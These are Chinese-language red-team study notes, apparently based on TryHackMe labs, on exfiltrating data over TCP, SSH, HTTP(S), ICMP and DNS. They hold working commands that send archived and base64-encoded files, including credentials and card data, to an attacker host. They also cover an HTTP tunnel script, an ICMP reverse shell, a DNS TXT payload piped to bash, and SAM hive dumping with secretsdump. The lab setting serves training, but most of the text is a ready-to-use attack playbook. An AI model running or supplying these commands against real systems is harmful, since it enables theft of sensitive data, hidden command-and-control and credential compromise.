一、 概述 (Overview)
数据窃取是指未经授权地、隐蔽地将敏感数据从受控的内部网络复制并转移到攻击者控制的外部位置的过程。这通常是网络攻击的后期阶段,在攻击者已获得目标网络访问权限并收集到有价值数据之后进行,属于网络杀伤链模型中的“目标行动” (Actions on Objectives) 环节。
网络犯罪分子攻击公司的目的各异,但多数情况下最终目标是数据泄露,即将窃取的敏感数据在暗网出售或公开。数据窃取技术旨在模拟正常的网络活动,利用常见的网络协议(如 DNS, HTTP(S), ICMP, SSH 等)作为数据传输的载体,从而绕过防火墙等网络安全产品的检测,使得恶意流量难以与合法流量区分。作为红队成员,掌握和运用这些技术对于隐匿行踪、避免被检测至关重要。
敏感数据类型示例:
- 用户名、密码等身份验证信息。
- 银行账户详情、信用卡信息。
- 商业战略、决策文件、知识产权。
- 加密密钥、证书。
- 员工及个人身份信息 (PII)。
- 项目源代码、研发数据。
二、 数据窃取的核心用途 (Core Use Cases of Data Exfiltration)
直接窃取数据 (Direct Data Theft / Traditional Exfiltration):
- 场景: 将收集到的敏感数据从组织网络单向移出到攻击者控制的服务器。攻击者通常不关心响应,只关注数据成功传出。
命令与控制 (C2) 通信 (Command & Control Communication):
- 场景: 利用隐蔽信道(包括非传统协议)在攻击者和受控主机之间建立双向通信,用于发送命令、接收执行结果。许多 C2 框架支持通过这些协议进行通信。
隧道传输 (Tunneling):
- 场景: 在受害者网络与攻击者控制的机器之间建立加密或混淆的通信通道,充当桥梁,使攻击者能够访问原本无法直接访问的内部网络资源。通常涉及持续的数据发送和接收。
三、 基于常见网络协议的数据窃取技术
A. TCP 套接字窃取 (TCP Socket Exfiltration)
原理与适用场景: 直接利用 TCP 套接字建立连接并传输数据。由于其流量特征可能不符合标准应用协议,在缺乏强大网络监控的非安全环境中可能被使用。为增加隐蔽性,常结合数据编码(如 Base64)和归档(如 tar)。
基本 TCP 通信流程:
- 一台机器(接收方/攻击者)在特定端口监听传入连接。
- 另一台机器(发送方/受害者)连接到该指定端口。
- 连接建立后开始数据传输。
步骤与示例:
- 环境: 攻击者机器 (JumpBox -
jump.thm.com),受害者机器 (victim1.thm.com)。
攻击者机器 (JumpBox) 监听:
Bash
thm@jump-box$ nc -lvp 8080 > /tmp/task4-creds.data-l: 监听模式。-v: 详细输出。-p 8080: 指定监听端口。> /tmp/task4-creds.data: 将接收到的数据重定向到文件。
受害者机器 (victim1) 准备并发送数据: 假设数据在
task4/creds.txt。Bash
thm@victim1:$ tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/192.168.0.133/8080tar zcf - task4/: 将task4/目录压缩 (z) 并打包 (c) 成归档文件 (f),输出到标准输出 (-)。base64: 将 tar 包内容进行 Base64 编码。dd conv=ebcdic: 使用dd命令,conv=ebcdic在此场景中可能用于某种形式的混淆或确保特定格式传输,但直接使用标准输出到 TCP 套接字更为常见。更直接的方式可能是... | nc <attacker_ip> <port>。> /dev/tcp/192.168.0.133/8080: (Bash 特性) 重定向输出到指定 IP 和端口的 TCP 套接字。
攻击者机器 (JumpBox) 解码数据: 接收到数据后 (存储在
/tmp/task4-creds.data):Bash
thm@jump-box:/tmp/$ dd conv=ascii if=task4-creds.data | base64 -d > task4-creds.tar thm@jump-box:/tmp/$ tar xvf task4-creds.tar thm@jump-box:/tmp/$ cat task4/creds.txtdd conv=ascii if=task4-creds.data: 如果发送时用了conv=ebcdic,这里用conv=ascii进行逆向转换。base64 -d: Base64 解码。tar xvf task4-creds.tar: 解包 (x) 归档文件 (f) 并显示过程 (v)。
- 注意: 使用 Base64 和可能的 EBCDIC 编码是为了使传输的数据非人类可读,增加检查难度。
- 环境: 攻击者机器 (JumpBox -
B. SSH 协议窃取 (SSH Protocol Exfiltration)
原理与适用场景: 利用 SSH 协议建立的安全加密通道传输数据。可以使用 SCP (Secure Copy Protocol) 或直接通过 SSH 客户端执行命令来传输文件或数据流。
步骤与示例 (使用 SSH 客户端):
- 前提: 攻击者控制的服务器已启用 SSH 服务并可接收连接。
受害者机器准备并发送数据: 假设数据在
task5/creds.txt。Bash
thm@victim1:$ tar cf - task5/ | ssh thm@jump.thm.com "cd /tmp/; tar xpf -"tar cf - task5/: 打包task5/目录内容到标准输出。ssh thm@jump.thm.com "cd /tmp/; tar xpf -": 通过 SSH 连接到jump.thm.com,在远程执行命令。远程命令首先切换到/tmp/目录,然后从标准输入 (-) 解包 (xp) 接收到的 tar 数据流。
攻击者机器 (jump.thm.com) 验证: 文件将被解压到
/tmp/task5/目录下。
C. HTTP/S 协议窃取 (HTTP/S Protocol Exfiltration)
原理与适用场景: 通过 HTTP 或 HTTPS 协议传输数据,因其是常见的 Web 流量,较难被检测和区分。使用 POST 方法比 GET 方法更隐蔽,因为 POST 请求的数据体不会像 GET 请求的参数那样直接记录在标准的 Web 服务器访问日志中。
1. HTTP POST 数据传输:
前提: 攻击者控制一台 Web 服务器,并部署了能够处理传入数据(如 PHP、Python、NodeJS 脚本)的服务端脚本。
POST 请求优点: 不被缓存、不保留在浏览器历史记录、无法收藏、对数据长度通常没有限制。
步骤与示例:
- 场景: 攻击者控制
web.thm.com,敏感数据从victim1.thm.com发送。
攻击者服务器端准备 (PHP 示例 -
contact.php):PHP
<?php if (isset($_POST['file'])) { // 对接收到的数据进行URL解码 (PHP的$_POST通常会自动处理URL解码) // 如果数据是Base64编码后又经过了其他处理,这里可能需要额外解码步骤 $received_data = $_POST['file']; // 示例:将+号被空格替换的问题修复 (如果curl发送时未正确URL编码) // $received_data = str_replace(' ', '+', $received_data); $file = fopen("/tmp/http.bs64","w"); fwrite($file, $received_data); fclose($file); } ?>受害者机器发送数据 (使用 curl): 假设数据在
task6/目录。Bash
thm@victim1:$ curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php--data "file=...": 发送 POST 请求,file是参数名。参数值是 tar 归档后 Base64 编码的数据。Curl 默认会对数据进行 URL 编码。
攻击者服务器端处理与解码: 数据被 PHP 脚本保存到
/tmp/http.bs64。修复潜在的 Base64 损坏 (URL编码问题): 如果
+字符在传输中被变为空格。Bash
thm@web:$ sudo sed -i 's/ /+/g' /tmp/http.bs64解码和解压:
Bash
thm@web:$ cat /tmp/http.bs64 | base64 -d | tar xvfz - -C /tmp/ # -C 指定解压目录
- 场景: 攻击者控制
2. HTTPS 通信:
- 说明: 若攻击者的 Web 服务器配置了 SSL/TLS 证书并使用 HTTPS,则整个传输过程(包括数据体)将被加密,进一步增强隐蔽性和安全性。
3. HTTP 隧道 (HTTP Tunneling):
原理: 将其他协议的流量(如 SSH、RDP、甚至任意 TCP/UDP 流量)封装在 HTTP 请求和响应中,常用于穿透防火墙或访问隔离的内网环境。
工具示例 (Neo-reGeorg):
- 场景: 攻击者希望通过可从外网访问的
uploader.thm.com服务器(已上传隧道脚本)来访问内网的app.thm.com服务器。
生成隧道服务端脚本:
Bash
root@AttackBox:/opt/Neo-reGeorg# python3 neoreg.py generate -k <password_for_tunnel>这会在
neoreg_servers/目录下生成多种语言的隧道脚本 (如tunnel.php,tunnel.aspx等)。上传隧道脚本: 将对应语言的隧道脚本 (如
tunnel.php) 上传到受控的 Web 服务器uploader.thm.com的 Web 目录下。客户端连接并建立SOCKS代理:
Bash
root@AttackBox:/opt/Neo-reGeorg# python3 neoreg.py -k <password_for_tunnel> -u http://uploader.thm.com/path/to/tunnel.php连接成功后,Neo-reGeorg 会在本地监听一个 SOCKS 代理端口 (默认为 1080)。
通过代理访问内部资源: 配置本地工具 (如
curl,proxychains, 或浏览器) 使用该 SOCKS5 代理 (127.0.0.1:1080)。Bash
root@AttackBox:~$ curl --socks5 127.0.0.1:1080 http://app.thm.com_internal_ip
- 场景: 攻击者希望通过可从外网访问的
流量特征: 攻击者与隧道脚本之间表现为正常的 HTTP(S) 通信,隧道脚本与内部目标之间是正常的应用协议通信。从内部目标来看,访问源是运行隧道脚本的服务器。
D. ICMP 协议窃取 (ICMP Protocol Exfiltration)
- 原理与适用场景: ICMP (Internet Control Message Protocol) 主要用于网络诊断和错误报告 (如
ping命令)。ICMP 数据包结构中有一个可选的数据字段,可以被用来携带少量自定义数据。由于防火墙通常允许 ICMP 流量(至少是部分类型),因此可用于在限制严格的网络中隐蔽传输数据。 - 1. 手动数据发送 (Linux
ping -p命令):- 限制:
-p选项仅在 Linux 的ping命令中可用,且通常只能填充少量数据 (如 16 字节)。 - 步骤:
将数据转换为十六进制:
Bash
root@AttackBox$ echo "thm:tryhackme" | xxd -p # 输出: 74686d3a7472796861636b6d650a使用
ping -p发送十六进制数据:Bash
root@AttackBox$ ping <target_ip> -c 1 -p 74686d3a7472796861636b6d650a接收方需要抓包 (如
tcpdump) 并解析 ICMP 数据部分。
- 限制:
- 2. 自动化工具窃取 (Metasploit
auxiliary/server/icmp_exfil模块):- 原理: 该模块在攻击者机器上监听 ICMP 流量,通过约定的 BOF (Begin Of File) 和 EOF (End Of File) 触发字符串来识别文件名和数据内容,并将接收到的数据写入文件。
- 步骤:
攻击者机器 (Metasploit):
代码段
msf > use auxiliary/server/icmp_exfil msf auxiliary(server/icmp_exfil) > set BPF_FILTER "icmp and not src <AttackBox_IP>" msf auxiliary(server/icmp_exfil) > set INTERFACE eth0 msf auxiliary(server/icmp_exfil) > run受害者机器 (使用
nping工具发送数据):发送 BOF 触发器和文件名:
Bash
thm@icmp-host:~# sudo nping --icmp -c 1 <AttackBox_IP> --data-string "BOFfile.txt"发送数据块:
Bash
thm@icmp-host:~# sudo nping --icmp -c 1 <AttackBox_IP> --data-string "admin:password" thm@icmp-host:~# sudo nping --icmp -c 1 <AttackBox_IP> --data-string "admin2:password2"发送 EOF 触发器:
Bash
thm@icmp-host:~# sudo nping --icmp -c 1 <AttackBox_IP> --data-string "EOF"
Metasploit 会自动保存接收到的文件到 loot 目录。
- 3. ICMP C2 通信 (ICMPDoor 工具):
- 原理: 基于 Python3 和 Scapy 开发的 ICMP 反向 Shell,利用 ICMP 数据包的数据部分双向传输命令和执行结果。
- 步骤:
受害者机器 (运行
icmpdoor客户端):Bash
thm@icmp-host:~$ sudo ./icmpdoor -i eth0 -d <Attacker_JumpBox_IP>-i: 指定网络接口。-d: 指定 C2 服务器 (攻击者 JumpBox) 的 IP 地址。
攻击者 JumpBox (运行
icmp-cnc服务端):Bash
thm@jump-box$ sudo ./icmp-cnc -i eth1 -d <Victim_icmp-host_IP> shell> hostname # icmp-host-i: 指定网络接口。-d: 指定目标受害者 (运行 icmpdoor 的机器) 的 IP 地址。
E. DNS 协议窃取 (DNS Protocol Exfiltration)
概述与准备工作 (Overview and Prerequisites)
域名系统 (DNS) 是互联网的核心服务之一,但其开放和受信任的特性也使其成为攻击者进行数据窃取、渗透和建立隐蔽通信隧道的理想协议。本笔记将探讨这三种主要的 DNS 滥用技术。
必备工具与资源:
dns-exfil-infil: 用于数据窃取和渗透的 Python 脚本集。GitHub 链接Wireshark/tshark: 用于捕获和分析 DNS 流量。官方网站- 其他要求: 一个你拥有的公共域名和一个可公开访问的服务器(如 VPS),用于充当你的权威 DNS 服务器。
核心要求:配置攻击者控制的权威 NS
攻击者必须控制一个域名,并能够配置其 DNS 记录,将某个子域的解析权委托给自己的服务器。
- 创建 A 记录: 例如,
ns1.attacker-domain.com指向Attacker_Machine_IP。 - 创建 NS 记录: 例如,将子域
exfil.attacker-domain.com的 NS 记录指向ns1.attacker-domain.com。
- 效果: 当任何 DNS 解析器需要查询
*.exfil.attacker-domain.com时,请求最终都会被转发到攻击者控制的机器上。
- 创建 A 记录: 例如,
DNS 数据窃取 (DNS Data Exfiltration)
DNS 数据窃取是一种将敏感数据编码后,通过一系列 DNS 查询发送到攻击者控制的 DNS 服务器的网络攻击。由于 DNS (UDP/53) 流量通常被防火墙允许出站,这种方法非常隐蔽。
方法一:使用自动化工具 (dns-exfil-infil)
在客户端 (
packety.py) - 编码与发送:- 脚本读取要窃取的文件,并对其进行Base64和Base58编码。
- 将编码后的长字符串分割成小块,添加混淆字符,并作为子域名发起 DNS 查询。
在恶意服务器 - 捕获:
- 在攻击者控制的服务器上,运行
Wireshark或tshark来捕获所有传入的 DNS 请求,并保存为.pcap文件。
- 在攻击者控制的服务器上,运行
在恶意服务器 (
packetyGrabber.py) - 解码与重组:- 运行脚本并提供捕获到的
.pcap文件,脚本会自动提取、重组并解码数据,最终还原出原始的被盗文件。
- 运行脚本并提供捕获到的
方法二:手动实现 (通过子域名)
攻击者机器监听 DNS 查询:
Bash
# -A: 以 ASCII 打印每个包的内容 sudo tcpdump -i eth0 udp port 53 -A -v受害者机器准备并发送数据:
这个
bashone-liner 将credit.txt的内容进行 Base64 编码,分割成 18 个字符的块,然后将每个块作为子域名的一部分,通过dig命令发起 DNS 查询。Bash
DATA_TO_SEND=$(cat credit.txt | base64 | tr -d "\n") echo $DATA_TO_SEND | fold -w 18 | sed 's/.*/&./' | tr -d "\n" | sed 's/$/att.tunnel.com/' | awk '{print "dig +short " $1 " A"}' | bash
攻击者机器提取数据: 从
tcpdump的输出中,手动复制所有数据块,拼接起来,然后进行 Base64 解码。Bash
echo "<copied_long_subdomain_string>" | tr -d "." | base64 -d
DNS 数据渗透 (DNS Data Infiltration / C2)
这是数据窃取的逆向过程,即利用 DNS 将文件(如恶意软件、脚本)传入一个受限制的网络。
工作原理与示例
攻击者将 payload(例如一个 Bash 脚本)进行 Base64 编码,并将其存储在自己域名的TXT记录中。
攻击者准备并设置 TXT 记录:
- 创建脚本 (如
/tmp/script.sh):#!/bin/bash\nping -c 1 test.thm.com - Base64 编码脚本:
cat /tmp/script.sh | base64得到IyEvYmluL2Jhc2gKcGluZyAtYyAxIHRlc3QudGhtLmNvbQo= - 在 DNS 管理界面,为
script.tunnel.com添加一条 TXT 记录,值为上述 Base64 字符串。
- 创建脚本 (如
受害者机器查询、解码并执行:
Bash
dig +short -t TXT script.tunnel.com | tr -d "\"" | base64 -d | bashtr -d "\"": 去除dig输出中 TXT 记录内容两边的引号。
F. 转储 SAM 哈希(离线)
直接在主机上运行mimikatz可能会被 AV 捕获。一个更隐蔽的方法是转储所需的文件,然后在攻击机上离线提取哈希。
保存注册表 Hive: 在目标上,使用
reg.exe保存 SAM 和 SYSTEM 注册表配置单元。Code snippet
reg.exe save HKLM\SAM sam.bak reg.exe save HKLM\SYSTEM system.bak传出文件: 使用之前设置的 SMB 服务器或其他方法将
sam.bak和system.bak文件传回到你的攻击机。离线提取哈希: 使用
impacket的secretsdump.py来从这两个文件中提取本地账户的 NTLM 哈希。Bash
python3 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL